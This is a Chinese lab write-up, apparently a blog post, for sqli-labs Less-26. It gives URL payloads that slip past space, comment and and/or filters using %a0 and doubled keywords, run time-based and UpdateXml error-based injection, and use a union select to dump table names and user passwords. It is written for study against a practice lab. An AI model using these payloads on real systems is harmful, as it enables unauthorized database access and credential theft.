zoukankan      html  css  js  c++  java
  • 【sqli-labs】 less26 GET- Error based -All you SPACES and COMMENTS belong to us(GET型基于错误的去除了空格和注释的注入)

    看了下源码

    所有的注释形式和反斜线,and,or都被了过滤掉了

    单引号没有过滤

    空格也被过滤了

    http://localhost/sqli-labs-master/Less-26/?id=1'

    http://localhost/sqli-labs-master/Less-26/?id=1' '

    看了网上的一些方法都是使用了%a0替换掉了空格

    http://localhost/sqli-labs-master/Less-26/?id=1'%a0oorr%a0'1'='1

    但是出了一点问题,似乎无法识别%a0这个字符,有人说是window环境下apache的问题

    可以先放着,因为这个语句是可以正常被执行的

    http://localhost/sqli-labs-master/Less-26/?id=1'oorr'1'='1
    SELECT * FROM users WHERE id='1'or'1'='1' LIMIT 0,1

    利用这一点,可以构造这样的注入

    id参数的值不包含注释不包含空格,却可以在正常执行,当user()的第一个字符为'r'的时候,延时1s

    http://localhost/sqli-labs-master/Less-26/?id=1'%26%26sleep(ascii(mid(user(),1,1))=114)%26%26'1'='1
    select * from users where id='1'&&sleep(ascii(mid(user(),1,1))=114)&&'1'='1' limit 0,1

    当然出错信息没有被屏蔽也可以用UpdateXml函数直接报错来显示

    http://localhost/sqli-labs-master/Less-26/?id=1'%26%26UpdateXml(1,concat(0x7e,user(),0x7e),1)%26%26'1'='1

     换到LAMP环境下再试一下

    使用%a0代替空格

    http://192.168.136.128/sqli-labs-master/Less-26/?id=0'%a0union%a0select%a01,2,'3

    payload

    http://192.168.136.128/sqli-labs-master/Less-26/?id=0'%a0union%a0select%a01,2,table_name%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security

    取数据

    http://192.168.136.128/sqli-labs-master/Less-26/?id=0'%a0union%a0select%a01,username,passwoorrd%a0from%a0users%a0limit%a01,1%a0union%a0select%a01,2,'3

  • 相关阅读:
    java枚举常见用法
    redis初使用
    Linux上搭建svn资源库
    redis集群创建
    大数据学习之Hadoop运行模式
    集群时间同步
    ssh免密登录
    mvc项目问题清单以及解决方法
    Memcached分布式缓存初体验
    Asp.Net 一个请求的处理流程
  • 原文地址:https://www.cnblogs.com/omnis/p/8367365.html
Copyright © 2011-2022 走看看